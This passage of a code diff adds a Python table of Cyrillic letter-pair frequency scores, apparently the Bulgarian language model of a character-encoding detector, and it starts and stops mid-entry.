'Б' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 1, # 'Щ' + 61: 2, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 35: { # 'В' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 2, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 2, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 43: { # 'Г' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 1, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 37: { # 'Д' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 2, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 44: { # 'Е' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 2, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 0, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 55: { # 'Ж' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 47: { # 'З' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 40: { # 'И' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 2, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 2, # 'Я' + 1: 1, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 3, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 0, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 59: { # 'Й' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 33: { # 'К' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 46: { # 'Л' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 2, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 38: { # 'М' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 36: { # 'Н' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 2, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 41: { # 'О' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 2, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 2, # 'ч' + 27: 0, # 'ш' + 24: 2, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 30: { # 'П' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 2, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 39: { # 'Р' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 2, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 28: { # 'С' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 3, # 'А' + 32: 2, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 34: { # 'Т' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 51: { # 'У' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 